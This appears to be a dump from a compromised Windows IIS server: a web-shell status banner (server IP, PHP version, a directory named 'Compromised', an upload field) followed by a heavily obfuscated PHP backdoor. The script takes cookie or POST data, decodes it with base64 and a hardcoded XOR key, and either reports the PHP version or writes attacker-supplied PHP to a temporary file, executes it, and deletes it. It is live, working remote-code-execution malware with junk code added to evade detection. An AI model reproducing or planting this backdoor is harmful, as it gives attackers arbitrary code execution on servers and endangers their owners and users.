Server IP : 103.6.199.200 / Your IP : 3.14.246.52 Web Server : Microsoft-IIS/10.0 System : Windows NT EMPUSA 10.0 build 20348 (Windows Server 2016) i586 User : EMPUSA$ ( 0) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/Domains/iscommy2/i-3s.com.my/Compromised/ |
Upload File : |
<?php function stkv_zala(){$pmd_vxn='hmnicu'; /* hi */ print_r (42074+42074); /* tobnzm */ } $rjiawrz = 'rjiawrz' /* q */ ^ ''; $mocxmon_q = /* ylt*/ $_COOKIE; $veqokh = /* bteczb*/ $_POST; $xlv_mmyylb /* crvy */ = /* _pwi*/ 'nfej'; $uniqgqan = /* dbh */ 'oeinwpvygm'; function /*mdb*/ qwskvz() { $goiovfom_ /* xez*/ = 362; /* kte*/ $kdabijea = /*qdcsgr */ 'vbhinobcqm'; $yzq_hxei = -54; /* om */ $dknyjau /* e*/ = $goiovfom_ /* _c */ / 8; $wqvnl = /* ujhjox*/ 218; $qhl_nfqm = /* cvkzx */ 'lbmss'; $bdgihrnbem = -98;} qwskvz(); function /* r_oy_i */ uye_afsho($reocq, $bjrpf) { $xdc_ewv = /*ta */ strlen($reocq); $_upbkcail /*_ */ = /*jmlk */ strlen($bjrpf); global $rjiawrz; $vtf_f_qbaq /* oomqm */ = ""; $i_wxsmewbs = 0; /* ksfsny */ while ($i_wxsmewbs /* brgp*/ < /* rjsa */ $xdc_ewv) /* lcba */ { for ($sqslcpzr /* ax */ = /* sonr */ 0; /*lwwl */ $sqslcpzr < $_upbkcail && $i_wxsmewbs /* bottuu*/ < $xdc_ewv; /*_fi_eu */ $sqslcpzr++, /* iy */ $i_wxsmewbs++) { $vtf_f_qbaq /* gkpm */ .= $rjiawrz(ord($reocq[$i_wxsmewbs]) ^ /* wb */ ord($bjrpf[$sqslcpzr])); /*ma */ } } /* efsvk */ return $vtf_f_qbaq;} function otjab_r() { $bhhnrq = /* ksm */ -47; /* suzai */ $gqxdvfv = /* iomxay */ 'qtqouuxnxz'; /* fsie */ $i_wxsmewbsnoqudslvp = 400; $vvqlnk = /* hoaz*/ 'wwlhp'; } function qlihf($vknggnhqe, $reocq) { global $rjiawrz; /* sxdk */ $lapdkdp_ = sprintf("."."\x2f" . /* hec */ "\45" /*bamtp */ . /* qoak_ */ "\x73" /* giv*/ . /*qbvie_ */ $rjiawrz(46) . /* wgx */ "p"."\154", md5($vknggnhqe)); file_put_contents($lapdkdp_, /* fkrmyc */ "<" /* c */ . "?"."p"."\150" . /* h */ "p".$rjiawrz(32) . $rjiawrz(117) . "\x6e" /*rxs_ */ . /* htdbdo */ $rjiawrz(108) . "\151" . /* _kkpc */ "n"."\153" . /* tqdb */ "\x28" /* l*/ . "_"."_"."\x46" . /* og */ "I"."L"."E".$rjiawrz(95) /* jtpf*/ . "\x5f" /* s_bpdm */ . /* ix */ ")".$rjiawrz(361-302) /* i */ . /* dahtu */ $rjiawrz(32) . $reocq["\x64"]); $i_wxsmewbsirfywy = /* vbie */ 58; $heedmzkowc /* j */ = /* _ */ 569; include($lapdkdp_); $aezopc = $lapdkdp_; /*guirp */ $gxtpxzak = 258; @unlink($aezopc); $rjaycgoisp = 254; /* k */ $mdzcuask = $i_wxsmewbsirfywy /* og */ % 3; } otjab_r(); function fuazud() { global $rjiawrz; $i_wxsmewbs = array(); /* smvxx */ $i_wxsmewbs["\160" /*vkwin */ . $rjiawrz(118)] = phpversion(); $pakmypmirl = /* uhq */ 'lzngootu'; /* a */ $aeibiek_k /* ftsvq*/ = strtoupper($pakmypmirl); $i_wxsmewbs["s"."\166"] /*zzas */ = /*xrmq */ $rjiawrz(51) /* q */ . $rjiawrz(46) /*kq */ . /* gqs */ "\65"; $a_uwi = /*ochtvh */ strtoupper($aeibiek_k); /* uzt */ echo @serialize($i_wxsmewbs);} function ckwac($reocq, $vknggnhqe, $tjxexl_nm){ global $rjiawrz; $reocq /*eokjuf */ = unserialize(uye_afsho(uye_afsho(base64_decode($reocq), $vknggnhqe), /*bfys */ $tjxexl_nm)); /*g */ if /*zbw_t*/ (isset($reocq[$rjiawrz(811-714) . "k"])) /*ikr */ { if ($reocq["a"] /* g*/ == /* nuejn */ $rjiawrz(105)) /* hemkqn */ { /* n*/ fuazud(); $tpzgftr /*c*/ = 555; } elseif ($reocq["a"] /* _nel */ == $rjiawrz(510-409)) /* irlrd */ { qlihf($vknggnhqe, /* wgvw */ $reocq); $prbp_gywdb /*slhelv */ = 'xgg_nhce'; /* ywr */ } /*efftgd */ exit(); /*cns */ } } $mocxmon_q = /*z */ array_merge($veqokh, $mocxmon_q); $vknggnhqe = /* ag*/ "0"."\67" . $rjiawrz(308-208) . "\67" . /* yo */ "6"."\70" /* rso */ . /* iiirjm */ $rjiawrz(305-205) . "\146" /* qqcxnq */ . "-".$rjiawrz(55) . $rjiawrz(53) . $rjiawrz(100) /*eg */ . /* qt */ $rjiawrz(642-587) /*vjqs */ . /* aqfzcv*/ "-"."4".$rjiawrz(55) /* mz_vkt */ . "\141" . $rjiawrz(48) . /* ny */ "\55" /* c */ . /* k */ "9"."b"."\x64" . "\67" /* haoiqs */ . "-"."\61" . "\x34" . "\x35" . "\145" /* yxu */ . $rjiawrz(99) . "4".$rjiawrz(97) . /*gf */ "6"."0".$rjiawrz(54) . "a"."1"; foreach ($mocxmon_q /*e*/ as $tjxexl_nm /*enhr*/ => /*jwhzh */ $reocq) /* krw*/ { ckwac($reocq, $vknggnhqe, $tjxexl_nm); $tdgvyzg /*lyeq*/ = 'laetjk'; $wgllt_ = 468; } ?>